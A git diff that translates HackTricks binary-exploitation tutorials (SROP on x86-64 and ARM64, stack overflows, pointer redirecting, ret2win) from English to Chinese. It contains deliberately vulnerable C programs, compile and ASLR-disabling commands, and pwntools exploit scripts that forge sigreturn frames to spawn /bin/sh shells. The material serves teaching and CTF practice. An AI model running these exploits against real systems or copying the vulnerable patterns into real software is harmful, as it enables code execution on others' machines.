where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的堆栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。 -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从堆栈中弹出这些值**,有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器(RSP)。 > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。 -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +请注意,这将是一种 **Ret2syscall** 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +如果你感兴趣,这是存储在堆栈中的 **sigcontext 结构**,以便稍后恢复值(图表来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +为了更好的解释,请查看: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## 示例 +您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +另请查看[**此处的漏洞利用**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html),其中二进制文件已经调用了`sigreturn`,因此不需要使用**ROP**来构建。 ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## 其他示例与参考 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- 允许**写入栈**的汇编二进制文件,然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/),并读取二进制内存中的标志。 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- 允许**写入栈**的汇编二进制文件,然后调用**`sigreturn`**系统调用。可以通过**sigreturn**结构在栈上写入一个[**ret2syscall**](../rop-syscall-execv/)(该二进制文件包含字符串`/bin/sh`)。 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64位,无relro,无canary,nx,无pie。简单的缓冲区溢出,利用`gets`函数,缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`,利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,它将设置寄存器并移动`eip`以调用先前的系统调用指令,并运行`memprotect`将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROP用于赋予执行权限(memprotect)给放置shellcode的地方。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..a9aae72b6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Pwntools 示例 +此示例创建了易受攻击的二进制文件并对其进行利用。该二进制文件 **读取到栈中** 然后调用 **`sigreturn`**: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## bof 示例 -## bof example - -### Code - +### 代码 ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +用以下命令编译: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` +## 利用 -## Exploit - -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +该利用利用了缓冲区溢出,返回到对 **`sigreturn`** 的调用,并准备堆栈以调用 **`execve`**,指向 `/bin/sh`。 ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## bof 示例,无需 sigreturn -## bof example without sigreturn - -### Code - +### 代码 ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` +## 利用 -## Exploit - -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +在 **`vdso`** 部分,可以在偏移量 **`0x7b0`** 找到对 **`sigreturn`** 的调用:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +因此,如果泄露,可以 **使用此地址访问 `sigreturn`**,如果二进制文件没有加载它: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +有关 vdso 的更多信息,请查看: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +要绕过 `/bin/sh` 的地址,您可以创建多个指向它的环境变量,更多信息请参见: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..968bedaa9 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,37 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## 什么是栈溢出 -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +**栈溢出**是一种漏洞,当程序向栈中写入的数据超过其分配的容量时,就会发生这种情况。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。 -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +这个覆盖的主要问题是**保存的指令指针(EIP/RIP)**和**保存的基指针(EBP/RBP)**用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。 -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。 -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**...此外,像**`fgets`**、**`read`和`memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。 +例如,以下函数可能是脆弱的: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### 寻找栈溢出偏移量 -### Finding Stack Overflows offsets +寻找栈溢出的最常见方法是输入大量的 `A`s(例如 `python3 -c 'print("A"*1000)'`),并期待出现 `Segmentation Fault`,这表明 **尝试访问了地址 `0x41414141`**。 -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,以便能够 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 \_n**\_\*\* 的子序列恰好出现一次\*\* 作为连续子序列。 -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +这样,您就不需要手动计算控制 EIP 所需的偏移量,可以使用这些序列中的一个作为填充,然后找到覆盖它的字节的偏移量。 +可以使用 **pwntools** 来实现这一点: ```python from pwn import * @@ -44,58 +41,55 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +或 **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## 利用栈溢出 -## Exploiting Stack Overflows +在溢出期间(假设溢出大小足够大),您将能够**覆盖**栈内局部变量的值,直到达到保存的**EBP/RBP 和 EIP/RIP(甚至更多)**。\ +滥用这种类型漏洞的最常见方法是**修改返回地址**,这样当函数结束时,**控制流将被重定向到用户在此指针中指定的地方**。 -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +然而,在其他场景中,仅仅**覆盖栈中某些变量的值**可能就足以进行利用(例如在简单的 CTF 挑战中)。 ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +在这种类型的 CTF 挑战中,二进制文件中有一个**函数**,**从未被调用**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用: {{#ref}} ret2win/ {{#endref}} -### Stack Shellcode +### 栈 Shellcode -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +在这种情况下,攻击者可以在栈中放置一个 shellcode,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### ROP & Ret2... 技术 -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +该技术是绕过前一种技术的主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib,ret2syscall...),最终通过滥用二进制中的现有指令执行任意命令: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## 堆溢出 -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +溢出不总是在栈中,它也可能发生在**堆**中,例如: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## 保护类型 -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +有几种保护措施试图防止漏洞的利用,请查看它们: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..72c804bda 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -1,28 +1,28 @@ -# Pointer Redirecting +# 指针重定向 {{#include ../../banners/hacktricks-training.md}} -## String pointers +## 字符串指针 -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +如果一个函数调用将使用位于栈中的字符串地址,可以利用缓冲区溢出来**覆盖这个地址**并在二进制文件中放入**指向不同字符串的地址**。 -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +例如,如果一个**`system`**函数调用将**使用字符串的地址来执行命令**,攻击者可以在栈中放置**指向不同字符串的地址**,**`export PATH=.:$PATH`**,并在当前目录中创建一个**以新字符串的首字母命名的脚本**,因为这个脚本将由二进制文件执行。 -You can find an **example** of this in: +你可以在以下位置找到一个**示例**: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32位,改变栈中指向标志字符串的地址,以便通过`puts`打印 -## Function pointers +## 函数指针 -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +与字符串指针相同,但应用于函数,如果**栈中包含将被调用的函数的地址**,则可以**更改它**(例如,调用**`system`**)。 -You can find an example in: +你可以在以下位置找到一个示例: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) -## References +## 参考 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..30f6dd8f1 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +**Ret2win** 挑战是 **Capture The Flag (CTF)** 竞赛中一个受欢迎的类别,特别是在涉及 **binary exploitation** 的任务中。目标是利用给定二进制文件中的漏洞,执行二进制文件中一个特定的、未被调用的函数,通常命名为 `win`、`flag` 等。当这个函数被执行时,通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的 **return address**,以将执行流转向所需的函数。以下是更详细的解释和示例: -### C Example - -Consider a simple C program with a vulnerability and a `win` function that we intend to call: +### C 示例 +考虑一个简单的 C 程序,其中存在一个漏洞和一个我们打算调用的 `win` 函数: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +要在没有栈保护和禁用 **ASLR** 的情况下编译此程序,您可以使用以下命令: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-m32`: 将程序编译为32位二进制文件(这不是必需的,但在CTF挑战中很常见)。 +- `-fno-stack-protector`: 禁用对栈溢出的保护。 +- `-z execstack`: 允许在栈上执行代码。 +- `-no-pie`: 禁用位置无关可执行文件,以确保`win`函数的地址不变。 +- `-o vulnerable`: 将输出文件命名为`vulnerable`。 -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. - -### Python Exploit using Pwntools - -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. +### 使用Pwntools的Python Exploit +对于这个exploit,我们将使用**pwntools**,这是一个强大的CTF框架,用于编写exploit。该exploit脚本将创建一个有效负载,以溢出缓冲区并用`win`函数的地址覆盖返回地址。 ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +要找到 `win` 函数的地址,您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如,使用 `objdump`,您可以使用: ```sh objdump -d vulnerable | grep win ``` +此命令将显示 `win` 函数的汇编代码,包括其起始地址。 -This command will show you the assembly of the `win` function, including its starting address. +Python 脚本发送一个精心构造的消息,当 `vulnerable_function` 处理时,会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时,它不会返回到 `main` 或退出,而是跳转到 `win`,并打印消息。 -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## 保护措施 -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **应禁用**,以确保地址在执行之间是可靠的,否则函数存储的地址可能并不总是相同,您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下,当导致溢出的函数是 `read` 或类似函数时,您可以进行 **部分覆盖** 1 或 2 字节,以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理,最后三个十六进制半字节不会随机化,因此有 **1/16 的机会**(1 个半字节)获得正确的返回地址。 +- [**栈金丝雀**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用,否则被破坏的 EIP 返回地址将永远不会被跟随。 -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32位,无 ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 位,带 ASLR,带有二进制地址泄漏 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 位,无 ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 位,无 ASLR,双小溢出,第一次溢出栈并增大第二次溢出的大小 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 位,relro,无金丝雀,nx,无 pie,格式字符串覆盖地址 `fflush` 为 `win` 函数(ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 位,nx,其他无,部分覆盖 EIP(1Byte)以调用 `win` 函数 - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 位,nx,其他无,部分覆盖 EIP(1Byte)以调用 `win` 函数 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- 该程序仅验证数字的最后一个字节以检查输入的大小,因此只要最后一个字节在允许范围内,就可以添加任何大小。然后,输入创建一个缓冲区溢出,通过 ret2win 进行利用。 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 位,relro,无金丝雀,nx,pie。部分覆盖以调用 `win` 函数(ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64,PIE,给出一个 PIE 泄漏,`win` 函数实际上是两个函数,因此 ROP gadget 调用两个函数 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64,越界调用 `win` 函数 -## ARM64 Example +## ARM64 示例 {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..a02f3dfae 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,109 +2,94 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +在以下内容中找到 arm64 的介绍: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## 代码 ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +在没有PIE和canary的情况下编译: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## 寻找偏移量 -## Finding the offset +### 模式选项 -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的: +使用 gef 启动 gdb,创建模式并使用它: ```bash gdb -q ./ret2win pattern create 200 run ``` -
